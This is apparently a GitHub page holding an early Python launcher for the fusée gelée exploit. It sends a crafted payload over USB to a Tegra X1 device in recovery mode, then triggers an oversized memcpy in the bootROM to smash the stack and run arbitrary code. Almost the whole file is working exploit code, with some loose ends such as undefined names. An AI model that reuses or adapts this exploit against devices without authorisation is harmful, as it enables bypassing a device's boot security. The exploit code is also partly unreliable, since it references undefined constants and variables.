-
Notifications
You must be signed in to change notification settings - Fork 219
/
fusee-launcher.matcheshash.py
executable file
·174 lines (126 loc) · 5.36 KB
/
fusee-launcher.matcheshash.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
#!/usr/bin/env python3
#
# fusée gelée
#
# Launcher for the {re}switched coldboot/bootrom hacks--
# launches payloads above the Horizon
#
# discovery and implementation by @ktemkin
# likely independently discovered by lots of others <3
#
# special thanks to:
# SciresM, motezazer -- guidance and support
# hedgeberg, andeor -- dumping the Jetson bootROM
# TuxSH -- for IDB notes that were nice to peek at
#
import usb
import time
# notes:
# GET_CONFIGURATION to the DEVICE triggers memcpy from 0x40003982
# GET_INTERFACE to the INTERFACE triggers memcpy from 0x40003984
# GET_STATUS to the INTERFACE triggers memcpy from <on the stack>
class RCMHax:
# FIXME: these are the jetson's; replace me with the Switch's
SWITCH_RCM_VID = 0x0955
SWITCH_RCM_PID = 0X7321
# USB constants used
STANDARD_REQUEST_DEVICE_TO_HOST_TO_DEVICE = 0x80
STANDARD_REQUEST_DEVICE_TO_HOST_TO_ENDPOINT = 0x82
GET_DESCRIPTOR = 0x6
GET_CONFIGURATION = 0x8
# Interface requests
GET_STATUS = 0x0
# Exploit specifics
COPY_START_ADDRESS = 0x40003982
COPY_BUFFER_ADDRESSES = [0x40005000, 0x40009000]
STACK_END = 0x40010000
def __init__(self):
""" Set up our RCM hack connection."""
# The first write into the bootROM touches the lowbuffer.
self.current_buffer = 0
# Grab a connection to the USB device itself.
self.dev = usb.core.find(idVendor=self.SWITCH_RCM_VID, idProduct=self.SWITCH_RCM_PID)
# Keep track of the total amount written.
self.total_written = 0
if self.dev is None:
raise IOError("No Switch found?")
def get_device_descriptor(self):
return self.dev.ctrl_transfer(self.STANDARD_REQUEST_DEVICE_TO_HOST, self.GET_DESCRIPTOR, 1 << 8, 0, 18)
def read(self, length):
""" Reads data from the RCM protocol endpoint. """
return self.dev.read(0x81, length, 1000)
def write(self, data):
""" Writes data to the main RCM protocol endpoint. """
length = len(data)
packet_size = 0x1000
while length:
data_to_transmit = min(length, packet_size)
length -= data_to_transmit
chunk = data[:data_to_transmit]
data = data[data_to_transmit:]
self.write_single_buffer(chunk)
def write_single_buffer(self, data):
"""
Writes a single RCM buffer, which should be 0x1000 long.
The last packet may be shorter, and should trigger a ZLP (e.g. not divisible by 512).
If it's not, send a ZLP.
"""
self._toggle_buffer()
return self.dev.write(0x01, data, 1000)
def _toggle_buffer(self):
"""
Toggles the active target buffer, paralleling the operation happening in
RCM on the X1 device.
"""
self.current_buffer = 1 - self.current_buffer
def get_current_buffer_address(self):
""" Returns the base address for the current copy. """
return self.COPY_BUFFER_ADDRESSES[self.current_buffer]
def read_device_id(self):
""" Reads the Device ID via RCM. Only valid at the start of the communication. """
return self.read(16)
def switch_to_highbuf(self):
""" Switches to the higher RCM buffer, reducing the amount that needs to be copied. """
if switch.get_current_buffer_address() != self.COPY_BUFFER_ADDRESSES[1]:
switch.write(smash_buffer)
def trigger_controlled_memcpy(self, length=None):
""" Triggers the RCM vulnerability, causing it to make a signficantly-oversized memcpy. """
# Determine how much we'd need to transmit to smash the full stack.
if length is None:
length = self.STACK_END - self.get_current_buffer_address()
return self.dev.ctrl_transfer(self.STANDARD_REQUEST_DEVICE_TO_HOST_TO_ENDPOINT, self.GET_STATUS, 0, 0, length)
# Get a connection to our device
switch = RCMHax()
print("Switch device id: {}".format(switch.read_device_id()))
# Prefix the image with an RCM command, so it winds up loaded into memory
# at the right location (0x40010000).
# Use the maximum length so we can transmit as much payload as we want;
# we'll take over before we get to the end.
length = 0x30298
payload = length.to_bytes(4, byteorder='little')
# pad out to 680 so the payload starts at the right address in IRAM
payload += b'\0' * (680 - len(payload))
# for now, populate from [0x40010000, 0x40020000) with the payload address,
# ensuring we smash the stack properly; we can pull this down once we figure
# out the stack frame we're actually in for sure
print("Setting ourselves up to smash the stack...")
payload_location = 0x40020000
payload_location_raw = payload_location.to_bytes(4, byteorder='little')
payload += (payload_location_raw * 16384) # TODO: remove this magic number
# read the payload into memory
with open("payload.bin", "rb") as f:
payload += f.read()
# pad the payload to fill a request exactly
payload_length = len(payload)
padding_size = 0x1000 - (payload_length % 0x1000)
payload += (b'\0' * padding_size)
# send the payload
print("Uploading payload...")
switch.write(payload)
# smash less as a first test
print("Smashing the stack...")
switch.switch_to_highbuf()
try:
switch.trigger_controlled_memcpy()
except IOError:
print("The USB device stopped responding-- sure smells like we've smashed its stack. :)")